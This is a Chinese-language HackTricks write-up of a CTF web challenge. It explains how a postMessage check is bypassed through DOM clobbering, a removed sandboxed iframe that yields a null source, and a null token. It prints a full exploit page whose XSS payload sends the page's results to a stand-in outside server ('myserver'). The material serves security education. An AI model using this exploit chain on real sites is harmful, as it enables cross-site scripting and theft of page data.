mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
93 lines
6.9 KiB
Markdown
93 lines
6.9 KiB
Markdown
# 通过使用iframe绕过SOP - 2
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
## SOP-2中的Iframes
|
||
|
||
在这个[**挑战**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)的[**解决方案**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution)中,[**@Strellic\_**](https://twitter.com/Strellic\_)提出了一种类似于前一节的方法。让我们来看看。
|
||
|
||
在这个挑战中,攻击者需要**绕过**以下限制:
|
||
```javascript
|
||
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||
```
|
||
如果他这样做,他可以发送一个带有HTML内容的**postmessage**,该内容将在页面上使用**`innerHTML`**写入,而不进行清理(**XSS**)。
|
||
|
||
绕过**第一个检查**的方法是将**`window.calc.contentWindow`**设置为**`undefined`**,将**`e.source`**设置为**`null`**:
|
||
|
||
* **`window.calc.contentWindow`**实际上是**`document.getElementById("calc")`**。您可以使用**`<img name=getElementById />`**覆盖**`document.getElementById`**(请注意,Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)-未配置为在其默认状态下防止DOM覆盖攻击)。
|
||
* 因此,您可以使用**`<img name=getElementById /><div id=calc></div>`**覆盖**`document.getElementById("calc")`**。然后,**`window.calc`**将变为**`undefined`**。
|
||
* 现在,我们需要**`e.source`**为**`undefined`**或**`null`**(因为使用`==`而不是`===`,**`null == undefined`**为**`True`**)。这很“容易”。如果您创建一个**iframe**并从中**发送**一个**postMessage**,然后立即**删除**iframe,**`e.origin`**将变为**`null`**。请检查以下代码
|
||
```javascript
|
||
let iframe = document.createElement('iframe');
|
||
document.body.appendChild(iframe);
|
||
window.target = window.open("http://localhost:8080/");
|
||
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
|
||
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
|
||
document.body.removeChild(iframe); //e.origin === null
|
||
```
|
||
为了绕过有关令牌的**第二个检查**,可以通过发送值为`null`的**`token`**并将**`window.token`**的值设置为**`undefined`**来实现:
|
||
|
||
* 使用值为`null`的`token`发送postMessage是微不足道的。
|
||
* 在调用使用**`document.cookie`**的函数**`getCookie`**中,**`window.token`**被访问。请注意,在**`null`**来源页面中访问**`document.cookie`**会触发一个**错误**。这将使**`window.token`**的值变为**`undefined`**。
|
||
|
||
最终的解决方案由[**@terjanq**](https://twitter.com/terjanq)提供,代码如下:
|
||
|
||
```html
|
||
https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html
|
||
```
|
||
```html
|
||
<html>
|
||
<body>
|
||
<script>
|
||
// Abuse "expr" param to cause a HTML injection and
|
||
// clobber document.getElementById and make window.calc.contentWindow undefined
|
||
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
|
||
|
||
function start(){
|
||
var ifr = document.createElement('iframe');
|
||
// Create a sandboxed iframe, as sandboxed iframes will have origin null
|
||
// this null origin will document.cookie trigger an error and window.token will be undefined
|
||
ifr.sandbox = 'allow-scripts allow-popups';
|
||
ifr.srcdoc = `<script>(${hack})()<\/script>`
|
||
|
||
document.body.appendChild(ifr);
|
||
|
||
function hack(){
|
||
var win = open('https://obligatory-calc.ctf.sekai.team');
|
||
setTimeout(()=>{
|
||
parent.postMessage('remove', '*');
|
||
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
|
||
// token=null equals to undefined and e.source will be null so null == undefined
|
||
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
|
||
},1000);
|
||
}
|
||
|
||
// this removes the iframe so e.source becomes null in postMessage event.
|
||
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
|
||
}
|
||
setTimeout(start, 1000);
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||
|
||
</details>
|